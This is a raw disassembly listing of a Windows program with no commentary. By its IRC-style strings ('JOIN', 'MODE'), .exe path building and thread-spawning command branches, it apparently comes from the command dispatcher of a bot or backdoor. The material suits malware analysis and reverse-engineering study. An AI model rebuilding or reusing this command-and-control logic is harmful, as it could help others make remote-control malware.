jz short loc_407B63
loc_407B4D: ; CODE XREF: sub_401ACD+6094j
cmp [ebp+var_111C], ebx
jnz loc_403D46
push 32h
nop
call near ptr 2670E97h
jmp short loc_407B4D
; ---------------------------------------------------------------------------
loc_407B63: ; CODE XREF: sub_401ACD+607Ej
nop
call near ptr 2680972h
push eax
push offset unk_42A890
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj
; sub_401ACD+4D64j
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BFD0
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41C159
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407BCD
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407BD3
; ---------------------------------------------------------------------------
loc_407BCD: ; CODE XREF: sub_401ACD+60EAj
mov [ebp+var_266C], ebx
loc_407BD3: ; CODE XREF: sub_401ACD+60FEj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407BEA
push esi
call sub_41C159
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407BF0
; ---------------------------------------------------------------------------
loc_407BEA: ; CODE XREF: sub_401ACD+610Cj
mov [ebp+var_2670], ebx
loc_407BF0: ; CODE XREF: sub_401ACD+611Bj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2664], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A864
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407CA1
loc_407C8B: ; CODE XREF: sub_401ACD+61D2j
cmp [ebp+var_265C], ebx
jnz loc_407196
push 32h
nop
call near ptr 2670E97h
jmp short loc_407C8B
; ---------------------------------------------------------------------------
loc_407CA1: ; CODE XREF: sub_401ACD+61BCj
call near ptr 2680972h
nop
push eax
push offset unk_42A824
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj
; sub_401ACD+4D36j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3498], esi
push edi
push offset unk_42A7E8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset byte_41561D
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407D89
loc_407D73: ; CODE XREF: sub_401ACD+62BAj
cmp [ebp+var_3288], ebx
jnz loc_407196
push 32h
nop
call near ptr 2670E97h
jmp short loc_407D73
; ---------------------------------------------------------------------------
loc_407D89: ; CODE XREF: sub_401ACD+62A4j
nop
call near ptr 2680972h
push eax
push offset unk_42A7B0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3070], esi
push edi
push offset unk_42A780
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset dword_414358
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407E71
loc_407E5B: ; CODE XREF: sub_401ACD+63A2j
cmp [ebp+var_2E60], ebx
jnz loc_407196
push 32h
nop
call near ptr 2670E97h
jmp short loc_407E5B
; ---------------------------------------------------------------------------
loc_407E71: ; CODE XREF: sub_401ACD+638Cj
nop
call near ptr 2680972h
push eax
push offset unk_42A748
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407E82: ; CODE XREF: sub_401ACD+4AC9j
; sub_401ACD+4AE0j ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BFD0
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_3CF0], esi
push edi
push offset unk_42A718
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset byte_4135DF
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407F6A
loc_407F54: ; CODE XREF: sub_401ACD+649Bj
cmp [ebp+var_3A60], ebx
jnz loc_407196
push 32h
nop
call near ptr 2670E97h
jmp short loc_407F54
; ---------------------------------------------------------------------------
loc_407F6A: ; CODE XREF: sub_401ACD+6485j
nop
call near ptr 2680972h
push eax
push offset unk_42A6E0
jmp loc_407187
; ---------------------------------------------------------------------------
loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj
; sub_401ACD+4AB2j
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FC6
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_407FC6: ; CODE XREF: sub_401ACD+64E5j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408052
loc_40803C: ; CODE XREF: sub_401ACD+6583j
cmp [ebp+var_1620], ebx
jnz loc_406BFE
push 32h
nop
call near ptr 2670E97h
jmp short loc_40803C
; ---------------------------------------------------------------------------
loc_408052: ; CODE XREF: sub_401ACD+656Dj
nop
call near ptr 2680972h
push eax
push offset dword_42A674
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408063: ; CODE XREF: sub_401ACD+4A5Bj
; sub_401ACD+4A72j
push [ebp+arg_18]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408156
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C360
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1D5C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A648
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset byte_413A29
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408145
loc_408133: ; CODE XREF: sub_401ACD+6676j
cmp [ebp+var_1D58], ebx
jnz short loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_408133
; ---------------------------------------------------------------------------
loc_408145: ; CODE XREF: sub_401ACD+6664j
nop
call near ptr 2680972h
push eax
push offset unk_42A610
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_408156: ; CODE XREF: sub_401ACD+65A7j
push offset unk_42A5D8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408160: ; CODE XREF: sub_401ACD+4A2Dj
; sub_401ACD+4A44j
push [ebp+arg_18]
push edi
nop
call near ptr 26A0BAAh
test eax, eax
jz short loc_40818D
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B4
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_4081AD
; ---------------------------------------------------------------------------
loc_40818D: ; CODE XREF: sub_401ACD+669Fj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
loc_4081AA: ; CODE XREF: sub_401ACD+548Dj
; sub_401ACD+73C5j
add esp, 0Ch
loc_4081AD: ; CODE XREF: sub_401ACD+20DCj
; sub_401ACD+2E89j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081CA: ; CODE XREF: sub_401ACD+56E4j
call sub_409869
add esp, 14h
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_4081D7: ; CODE XREF: sub_401ACD+49FFj
; sub_401ACD+4A16j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C360
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408211
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408211
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C266
pop ecx
pop ecx
loc_408211: ; CODE XREF: sub_401ACD+6722j
; sub_401ACD+6733j
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A578
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset dword_417054
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4082C3
loc_4082B1: ; CODE XREF: sub_401ACD+67F4j
cmp [ebp+var_3CF4], ebx
jnz short loc_4082DE
push 32h
nop
call near ptr 2670E97h
jmp short loc_4082B1
; ---------------------------------------------------------------------------
loc_4082C3: ; CODE XREF: sub_401ACD+67E2j
nop
call near ptr 2680972h
push eax
push offset unk_42A53C
loc_4082CF: ; CODE XREF: sub_401ACD+909j
; sub_401ACD+A47j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_4082DE: ; CODE XREF: sub_401ACD+7C5j
; sub_401ACD+930j ...
push 1
pop esi
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_4082E6: ; CODE XREF: sub_401ACD+49D1j
; sub_401ACD+49E8j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BF70
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41C159
add esp, 10h
cmp eax, esi
jnz short loc_408323
mov [ebp+var_638], 5
loc_408323: ; CODE XREF: sub_401ACD+684Bj
cmp [ebp+var_C], ebx
jz loc_406BFE
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406BFE
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 2660B67h
test eax, eax
jnz short loc_40836E
push offset unk_42A518
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40836E: ; CODE XREF: sub_401ACD+6895j
push edi
push offset dword_42A4FC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408379: ; CODE XREF: sub_401ACD+49A3j
; sub_401ACD+49BAj
push [ebp+arg_18]
push offset aSbrsfgf ; "sbrsfgf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4084F0
lea eax, [ebp+var_4BF8]
push eax
push 104h
nop
call near ptr 26A0000h
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BFD0
lea eax, [ebp+var_17D4]
push eax
call sub_40AB77
add esp, 10h
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C266
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_40840E
push 10h
push ebx
push eax
call sub_41C7A5
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_408414
; ---------------------------------------------------------------------------
loc_40840E: ; CODE XREF: sub_401ACD+692Bj
mov [ebp+var_23C4], ebx
loc_408414: ; CODE XREF: sub_401ACD+693Fj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_40842B
push esi
call sub_41C159
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_408431
; ---------------------------------------------------------------------------
loc_40842B: ; CODE XREF: sub_401ACD+694Dj
mov [ebp+var_23C8], ebx
loc_408431: ; CODE XREF: sub_401ACD+695Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A4C4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset loc_4167A0
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4084DF
loc_4084C9: ; CODE XREF: sub_401ACD+6A10j
cmp [ebp+var_23B4], ebx
jnz loc_406BFE
push 32h
call near ptr 2670E97h
nop
jmp short loc_4084C9
; ---------------------------------------------------------------------------
loc_4084DF: ; CODE XREF: sub_401ACD+69FAj
nop
call near ptr 2680972h
push eax
push offset dword_42A488
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_4084F0: ; CODE XREF: sub_401ACD+68BDj
push offset dword_42A440
loc_4084F5: ; CODE XREF: sub_401ACD+2E30j
; sub_401ACD+447Dj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_408508: ; CODE XREF: sub_401ACD+4975j
; sub_401ACD+498Cj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
push edi
call sub_41C159
add esp, 28h
test eax, eax
jle short loc_408591
push edi
call sub_41C159
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 2670E97h
loc_408591: ; CODE XREF: sub_401ACD+6AAEj
push offset dword_42A41C
call sub_415D38
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4085A5: ; CODE XREF: sub_401ACD+4947j
; sub_401ACD+495Ej
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41CA50
add esp, 10h
test eax, eax
push esi
jz short loc_408664
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset unk_42A404
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
test eax, eax
jle loc_409644
push edi
call sub_41C159
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_408664: ; CODE XREF: sub_401ACD+6B1Dj
lea eax, [ebp+var_2C4]
push offset unk_42A3D0
push eax
call sub_41C266
add esp, 0Ch
loc_408678: ; CODE XREF: sub_401ACD+74E3j
cmp [ebp+var_8], ebx
jnz short loc_408699
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_408699: ; CODE XREF: sub_401ACD+6BAEj
; sub_401ACD+71C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
jmp loc_409643
; ---------------------------------------------------------------------------
loc_4086AA: ; CODE XREF: sub_401ACD+4919j
; sub_401ACD+4930j
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
mov [ebp+var_221C], esi
push [ebp+arg_18]
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A39C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset byte_414F57
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40876E
loc_408758: ; CODE XREF: sub_401ACD+6C9Fj
cmp [ebp+var_208C], ebx
jnz loc_40885A
push 32h
call near ptr 2670E97h
nop
jmp short loc_408758
; ---------------------------------------------------------------------------
loc_40876E: ; CODE XREF: sub_401ACD+6C89j
call near ptr 2680972h
nop
push eax
push offset unk_42A360
jmp loc_40884B
; ---------------------------------------------------------------------------
loc_40877F: ; CODE XREF: sub_401ACD+48EBj
; sub_401ACD+4902j
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BFD0
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
mov esi, [ebp+arg_4]
add esp, 24h
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
mov [ebp+var_23B0], esi
push [ebp+arg_18]
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push edi
push offset dword_42A334
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset byte_414703
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40883F
loc_40882D: ; CODE XREF: sub_401ACD+6D70j
cmp [ebp+var_2220], ebx
jnz short loc_40885A
push 32h
nop
call near ptr 2670E97h
jmp short loc_40882D
; ---------------------------------------------------------------------------
loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej
nop
call near ptr 2680972h
push eax
push offset dword_42A2F8
loc_40884B: ; CODE XREF: sub_401ACD+6CADj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_40885A: ; CODE XREF: sub_401ACD+6C91j
; sub_401ACD+6D66j
cmp [ebp+var_8], ebx
jnz loc_403FBE
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_40887A: ; CODE XREF: sub_401ACD+48BDj
; sub_401ACD+48D4j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F0
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
loc_408897: ; CODE XREF: sub_401ACD+6E31j
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
loc_4088B1: ; CODE XREF: sub_401ACD+789Bj
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_4088DA: ; CODE XREF: sub_401ACD+488Fj
; sub_401ACD+48A6j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2DC
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 14h
jmp short loc_408897
; ---------------------------------------------------------------------------
loc_408900: ; CODE XREF: sub_401ACD+4861j
; sub_401ACD+4878j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
push edi
call sub_41C159
add esp, 10h
test eax, eax
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push [ebp+arg_18]
push edi
push offset dword_42A2C0
loc_408967: ; CODE XREF: sub_401ACD+6F24j
; sub_401ACD+6F92j ...
call sub_415DAC
jmp loc_4048F0
; ---------------------------------------------------------------------------
loc_408971: ; CODE XREF: sub_401ACD+4833j
; sub_401ACD+484Aj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089A2
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2B8
push eax
call sub_41C266
add esp, 0Ch
loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A29C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_4089F6: ; CODE XREF: sub_401ACD+4805j
; sub_401ACD+481Cj
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push esi
push offset dword_42A2E8
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
add esp, 0Ch
push esi
push edi
push offset dword_42A280
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408A64: ; CODE XREF: sub_401ACD+47D7j
; sub_401ACD+47EEj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2670E97h
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A968
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
